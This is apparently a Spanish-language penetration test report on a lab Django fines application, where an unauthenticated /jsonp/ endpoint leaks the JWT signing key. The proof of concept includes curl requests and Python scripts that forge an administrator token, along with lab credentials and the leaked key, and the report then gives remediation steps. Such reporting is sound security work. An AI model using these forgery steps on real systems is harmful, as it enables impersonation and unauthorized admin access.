🔒 CONFIDENCIAL

Reporte de Vulnerabilidad

Exposición de SECRET_KEY en endpoint /jsonp/ y falsificación de JWT — escalada a administrador

ID del Ticket	**VULN-2026-004**
Activo evaluado	**Aplicación web «Consulta de Multas» (Lab Multas, Django)**
Severidad	**CRÍTICA** **CVSS v3.1 9.8**
Tipo	**Exposición de clave de firma + falsificación de JWT — CWE-321 / CWE-200 / CWE-347**
Cliente	**Software Seguro — Laboratorio Consulta de Multas**
Analista	**J. M. F. · jmf01111974@gmail.com**
Fecha del reporte	**08 de noviembre de 2026**
Versión	**1.0**

Contenido

1. Resumen Ejecutivo pág. 2
2. Detalles Técnicos pág. 2
3. Métricas CVSS pág. 4
4. Prueba de Concepto (PoC) pág. 5
5. Recomendaciones de Remediación pág. 7
6. Referencias e Historial pág. 9

Este documento contiene información sensible sobre vulnerabilidades de seguridad. Su distribución está restringida al personal autorizado del cliente. Las pruebas se realizaron sobre un entorno de laboratorio con autorización explícita.

1. Resumen Ejecutivo

> Audiencia: dirección y responsables de negocio. Redactado sin tecnicismos.

¿Qué encontramos?

La aplicación de consulta de multas **publica su "llave maestra"**. Una dirección interna del sitio (`/jsonp/`) devuelve, a cualquiera y sin pedir contraseña, la configuración del sistema, incluida la clave secreta con la que la aplicación **firma los pases de acceso** (los tokens de sesión). Con esa clave, un atacante puede **fabricarse un pase válido con la identidad que quiera** —por ejemplo, la del administrador— y entrar como tal.

¿Por qué importa para el negocio?

Quien posee esa clave **deja de necesitar credenciales**: puede hacerse pasar por cualquier usuario, incluidos los administradores, y operar con sus permisos. En este sistema eso significa **ver y alterar las multas de cualquier ciudadano**, marcarlas como pagadas sin pago real, acceder a datos personales y manipular registros con valor legal y recaudatorio. Las consecuencias incluyen fraude, pérdida de ingresos públicos, invalidez de los registros y responsabilidad legal, además de incumplimiento de la normativa de protección de datos (Ley 25.326 en Argentina / GDPR).

¿Qué tan grave es?

Severidad CRÍTICA — CVSS 9.8. La explotación es remota, sencilla y no requiere ninguna cuenta previa: basta con leer una página pública y volver a firmar un token. Durante la prueba se obtuvo la clave desde `/jsonp/`, se falsificó un token con el correo del administrador (`administrador_multas@yopmail.com`) y se accedió con privilegios administrativos, completando el objetivo del laboratorio y obteniendo su código de verificación.

¿Qué hay que hacer?

De forma inmediata: **dejar de exponer la clave secreta** (cerrar/restringir el endpoint `/jsonp/`), **rotar la clave comprometida** e invalidar todos los tokens firmados con ella. A mediano plazo, no basar la autorización en datos que viajan dentro del token sin verificación del rol en el servidor.

Riesgo	Probabilidad	Impacto	Urgencia de acción
Suplantación de cualquier identidad (incl. administrador) por divulgación de la clave de firma de los JWT	Alta	Crítico	**Inmediata**

2. Detalles Técnicos

> Audiencia: equipo de desarrollo y administradores de la plataforma.

2.1 Descripción de la vulnerabilidad

Se identificó la divulgación de la clave criptográfica (`SECRET_KEY`) empleada para firmar los JWT, que habilita la falsificación de tokens y la escalada a privilegios de administrador. Se documentan los hallazgos de la cadena.

a) `PRIMARIO` **Exposición de SECRET_KEY en endpoint no autenticado.** El endpoint `/jsonp/` responde `HTTP 200` sin requerir autenticación y devuelve parámetros internos de configuración de Django, entre ellos

`SECRET_KEY`. La respuesta se entrega envuelta en una llamada JSONP (`procesarDatos({...})`), accesible desde el cliente.

b) ENCADENADO **Falsificación de JWT y escalada de privilegios.** Los JWT se firman con `HS256` (HMAC simétrico) usando esa misma clave. Conocido el secreto, un atacante altera las reclamaciones (`username` / `email`) del token de un usuario común y lo **vuelve a firmar con una firma válida**. Dado que el backend autoriza en función de la identidad declarada en el token, el atacante obtiene acceso con el rol del administrador.

c) CONTRIBUYENTE **Clave secreta débil.** El valor divulgado (`123456@pz*+2p(e10(n7891`) es corto y de baja entropía; incluso sin la fuga, sería susceptible de ataques de fuerza bruta/diccionario sobre la firma HS256.

2.2 Flujo del ataque

- El atacante inicia sesión con una cuenta común (`ignacio_123@yopmail.com`) y obtiene un JWT legítimo (`user_id 1`).
- Decodifica el token y observa las reclamaciones `username` y `email`.
- Solicita `/jsonp/` sin autenticación y obtiene la `SECRET_KEY`.
- Reemplaza el correo por el del administrador y **re-firma** el token con la clave expuesta (HS256), obteniendo un JWT válido.
- Sustituye el token en el navegador y recarga: accede como administrador y "paga" las multas; el laboratorio entrega el código de verificación.

2.3 Clasificación

Categoría	Referencia
Tipo (CWE)	CWE-321 — Use of Hard-coded Cryptographic Key · CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor · CWE-347 — Improper Verification of Cryptographic Signature (falsificación habilitada) · CWE-269 — Improper Privilege Management · CWE-326 — Inadequate Encryption Strength (clave débil)
OWASP Top 10 (2021)	A02:2021 — Cryptographic Failures · A01:2021 — Broken Access Control · A05:2021 — Security Misconfiguration
OWASP API Security Top 10 (2023)	API2:2023 — Broken Authentication · API8:2023 — Security Misconfiguration
CVE	No aplica (defecto de configuración y de la aplicación, no de un componente de terceros)

2.4 Activos y alcance afectado

Elemento	Detalle
Aplicación	«Consulta de Multas» (Lab Multas) — framework Django
Host	`chl-<instancia>-multas.softwareseguro.com.ar` (el subdominio se asigna por instancia/sesión)
Superficies afectadas	`/jsonp/` (divulgación de configuración, incl. `SECRET_KEY`) Mecanismo de autenticación por JWT (firma HS256 con la clave expuesta)
Dato sensible involucrado	`SECRET_KEY`, tokens de sesión, datos de multas y datos personales de los ciudadanos

Alcance	Toda la plataforma (suplantación de cualquier identidad, incluido el administrador)

2.5 Causa raíz

Un endpoint pensado para datos de configuración **entrega secretos al cliente sin control de acceso**, violando el principio de no exponer material sensible fuera del servidor. Al mismo tiempo, el esquema de autenticación emplea una firma **simétrica (HS256)** cuya clave es, por tanto, un secreto compartido crítico: su divulgación anula por completo la garantía de integridad del token. Finalmente, la autorización se apoya en reclamaciones del propio token (`email` / `username`) en lugar de una verificación de rol robusta del lado del servidor, de modo que un token falsificado se traduce directamente en privilegios administrativos.

3. Métricas CVSS

> Puntuación objetiva y reproducible del riesgo técnico, según CVSS v3.1. La puntuación corresponde a la cadena completa: divulgación de la clave de firma que habilita la suplantación administrativa.

CVSS Base Score	Severidad	Vector
9.8	CRÍTICA	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

Desglose del vector (métricas base)

Métrica	Valor	Justificación
Attack Vector (AV)	**Network (N)**	El endpoint y la API se explotan de forma remota a través de Internet (HTTP/HTTPS).
Attack Complexity (AC)	**Low (L)**	No requiere condiciones especiales: leer una página pública y re-firmar un token.
Privileges Required (PR)	**None (N)**	La clave se obtiene sin autenticación; con ella puede forjarse un token desde cero, sin cuenta previa.
User Interaction (UI)	**None (N)**	No requiere que ninguna víctima realice acción alguna.
Scope (S)	**Unchanged (U)**	El impacto permanece dentro de la misma aplicación/autoridad de seguridad.
Confidentiality (C)	**High (H)**	La suplantación administrativa expone la totalidad de datos de multas y datos personales.
Integrity (I)	**High (H)**	Permite alterar multas y registros de cualquier ciudadano (p. ej. marcarlas como pagadas).
Availability (A)	**High (H)**	Con privilegios administrativos es posible borrar o corromper registros, afectando el servicio.

> Nota de criterio: se asigna **PR:N** porque la clave de firma se divulga sin autenticación y habilita forjar cualquier token. Bajo un criterio más conservador que presuponga una cuenta de usuario para obtener un token de muestra (`PR:L`), el puntaje resultante es **8.8**, que permanece en el rango de severidad Alta/Crítica.

Verificable en la calculadora oficial: https://www.first.org/cvss/calculator/3.1

4. Prueba de Concepto (PoC)

> Reproducción paso a paso. Cualquier técnico con acceso al laboratorio puede replicar el hallazgo.

4.1 Requisitos previos

- Cuenta de usuario común del laboratorio: `ignacio_123@yopmail.com` / clave `12345678` (user_id 1).
- Correo del administrador (objetivo de la suplantación): `administrador_multas@yopmail.com`.
- Un navegador web o `curl`, y una utilidad para manipular JWT (p. ej. `python-jwt` / jwt.io).

4.2 Pasos de reproducción

Paso 1 — Autenticarse como Ignacio y capturar el JWT. El inicio de sesión devuelve un token HS256.

```
# Subdominio asignado a tu instancia del laboratorio
BASE="https://chl-<instancia>-multas.softwareseguro.com.ar"

curl -s -X POST "$BASE/api/login/" \
  -H "Content-Type: application/json" \
  --data '{"email":"ignacio_123@yopmail.com","password":"12345678"}'
# -> { "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.<payload>.<firma>" }
# Payload (decodificado): {"user_id":
1,"username":"ignacio_123@yopmail.com","email":"ignacio_123@yopmail.com",...}
```

Evidencia 1 — El token legítimo usa el algoritmo HS256 e incluye la identidad en las reclamaciones `username` / `email`.

Paso 2 — Obtener la SECRET_KEY desde el endpoint no autenticado. `/jsonp/` responde sin cookie de sesión y expone la configuración.

```
curl -s "$BASE/jsonp/"
# -> procesarDatos({ "MODO_DESARROLLO": false, ..., "SECRET_KEY": "123456@pz*+2p(e10(n7891" })
```

Evidencia 2 — Respuesta HTTP 200 sin autenticación que divulga `SECRET_KEY`: exposición de clave criptográfica confirmada.

Paso 3 — Verificar que la clave firma los JWT. Comprobación criptográfica local: la firma del token legítimo coincide con el HMAC-SHA256 calculado con la clave expuesta.

```
python3 - <<'PY'
import jwt
SECRET = "123456@pz*+2p(e10(n7891"
tok = "<token-de-ignacio>"
print(jwt.decode(tok, SECRET, algorithms=["HS256"]))   # decodifica sin error -> la clave es correcta
PY
```

Evidencia 3 — El token legítimo se valida con la clave expuesta: el secreto divulgado es, en efecto, la clave de firma.

Paso 4 — Falsificar un JWT con la identidad del administrador. Reemplazar `username` / `email` y re-firmar con la clave.

```
python3 - <<'PY'
import jwt
SECRET = "123456@pz*+2p(e10(n7891"
payload = {
    "user_id": 1,
    "username": "administrador_multas@yopmail.com",
    "email":    "administrador_multas@yopmail.com",
    "exp": 1794578073, "orig_iat": 1793973273
}
print(jwt.encode(payload, SECRET, algorithm="HS256"))   # JWT válido con identidad de administrador
PY
```

Evidencia 4 — Se genera un token con firma válida y el correo del administrador: falsificación de JWT confirmada.

Paso 5 — Usar el token y verificar el impacto. Sustituir el token en el navegador (almacenamiento/cabecera `Authorization`) y recargar: la sesión pasa a ser administrativa y se "pagan" las multas.

```
curl -s "$BASE/api/multas/" -H "Authorization: Bearer <token-falsificado>"
# -> acceso con privilegios de administrador; objetivo del laboratorio cumplido
# Código de verificación obtenido: e470ca488c867e223fb
```

Evidencia 5 — Acceso administrativo efectivo y obtención del código final, demostrando la escalada de privilegios.

4.3 Resultado esperado vs. obtenido

Esperado (sistema seguro)	Obtenido (sistema vulnerable)
`/jsonp/` no expone secretos; la autorización verifica el rol en el servidor y un token alterado se rechaza (`401/403`).	`/jsonp/` divulga la `SECRET_KEY`; un JWT re-firmado con el correo del administrador es aceptado y otorga privilegios.

> ⚠ Nota ética: la PoC se ejecutó únicamente sobre el entorno de laboratorio autorizado, con el impacto mínimo necesario para demostrar el riesgo. En un entorno productivo no deben alterarse registros reales; la demostración se limitaría a evidenciar la exposición de la clave y la aceptación de un token de control, sin modificar datos.

5. Recomendaciones de Remediación

> Audiencia: equipo de desarrollo y de infraestructura que implementará la corrección.

5.1 Solución recomendada (prioritaria)

1) Eliminar la exposición de secretos. Retirar `SECRET_KEY` (y cualquier parámetro sensible) de la respuesta de `/jsonp/`; restringir o eliminar ese endpoint y aplicar control de acceso a todo endpoint que entregue información interna.

2) Rotar la clave e invalidar los tokens. Generar una `SECRET_KEY` nueva, larga y aleatoria, cargada desde variables de entorno/secret manager (nunca en el código ni en respuestas al cliente). Invalidar todos los JWT firmados con la clave anterior y exigir reautenticación.

```
# Generar un secreto robusto y cargarlo desde el entorno
# $ python -c "import secrets; print(secrets.token_urlsafe(64))"
import os
SECRET_KEY = os.environ["DJANGO_SECRET_KEY"]   # fuera del repositorio
```

3) No autorizar en base a reclamaciones del token. Derivar el rol del usuario desde el servidor (`user_id` → registro en base de datos), no del `email` / `username` contenido en el JWT.

```
# VULNERABLE: confía en el email del token para decidir el rol
if claims["email"] == ADMIN_EMAIL:
    conceder_admin()                    # <- reclamación falsificable

# CORREGIDO: el rol se resuelve en el servidor a partir del id verificado
user = User.objects.get(id=claims["user_id"])
if user.is_staff:                       # fuente de verdad: la base de datos
    conceder_admin()
```

4) Considerar firma asimétrica (RS256/EdDSA). Con clave privada solo en el emisor y clave pública en los verificadores, la divulgación de un verificador no permite falsificar tokens.

5.2 Mitigaciones temporales

- Bloquear el acceso externo a `/jsonp/` en el WAF / reverse proxy de inmediato.
- Rotar la clave y forzar la expiración/invalidez de las sesiones vigentes.
- Monitorizar y alertar sobre tokens cuyo `email` / `username` no corresponda al `user_id`, y sobre accesos administrativos anómalos.

5.3 Buenas prácticas de fondo (prevención)

- **Gestión de secretos**: todo secreto fuera del código y del alcance del cliente; nunca serializar configuración sensible en respuestas HTTP.
- **Endurecimiento de despliegue Django**: `DEBUG=False`, revisión de endpoints de diagnóstico/JSONP y del *deployment checklist*.
- **Autorización "deny by default"** con el rol resuelto en el servidor y verificado en cada operación sensible.
- **JWT robustos**: claves de alta entropía, expiraciones cortas, rotación y lista negra; preferir algoritmos asimétricos.
- **Pruebas automatizadas**: un test que envíe un JWT con reclamaciones manipuladas y espere `401/403`.

5.4 Plan de acción

Acción	Responsable	Prioridad	Plazo	Estado
Eliminar/restringir `/jsonp/` y quitar `SECRET_KEY` de la respuesta	Infraestructura / SecOps	Crítica	Inmediato	Pendiente
Rotar `SECRET_KEY` e invalidar todos los JWT emitidos	Equipo de desarrollo	Crítica	Inmediato	Pendiente
Resolver el rol en el servidor (no por reclamaciones del token)	Equipo de desarrollo	Alta	24–72 h	Pendiente
Migrar a firma asimétrica (RS256/EdDSA)	Equipo de desarrollo	Media	30 días	Pendiente
Test de regresión (token manipulado = 401/403)	QA / Seguridad	Alta	Con el fix	Pendiente
Re-test de verificación	Analista de seguridad	Alta	Tras el fix	Pendiente

5.5 Verificación (re-test)

Confirmar que `/jsonp/` ya no expone secretos (o no es accesible), que los tokens firmados con la clave antigua son rechazados, y que un JWT con el `email` del administrador pero `user_id` de un usuario común **no** otorga privilegios (respuesta `401/403`). Verificar además que un usuario legítimo mantiene su acceso normal.

> ✔ Criterio de cierre: el ticket se marca como *Cerrado* cuando el re-test confirma que no se divulga la clave y que la falsificación de tokens ya no permite escalar privilegios, sin regresiones en la funcionalidad legítima.

6. Referencias e Historial

Referencias

- OWASP Top 10 (2021) — A02 Cryptographic Failures: https://owasp.org/Top10/A02_2021-Cryptographic_Failures/
- OWASP Top 10 (2021) — A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- OWASP Top 10 (2021) — A05 Security Misconfiguration: https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
- CWE-321 — Use of Hard-coded Cryptographic Key: https://cwe.mitre.org/data/definitions/321.html
- CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor: https://cwe.mitre.org/data/definitions/200.html
- CWE-347 — Improper Verification of Cryptographic Signature: https://cwe.mitre.org/data/definitions/347.html
- OWASP JWT for Java / Testing JSON Web Tokens (WSTG): https://owasp.org/www-project-web-security-testing-guide/
- Django — Deployment checklist / SECRET_KEY: https://docs.djangoproject.com/en/stable/howto/deployment/checklist/
- CVSS v3.1 Calculator (FIRST): https://www.first.org/cvss/calculator/3.1

Historial de cambios

Versión	Fecha	Autor	Cambio
1.0	2026-11-08	J. M. F.	Creación del reporte: exposición de SECRET_KEY en /jsonp/, falsificación de JWT y escalada a administrador.

🔒 Documento confidencial — uso interno / cliente autorizado únicamente. Las pruebas se realizaron en un entorno de laboratorio con autorización explícita.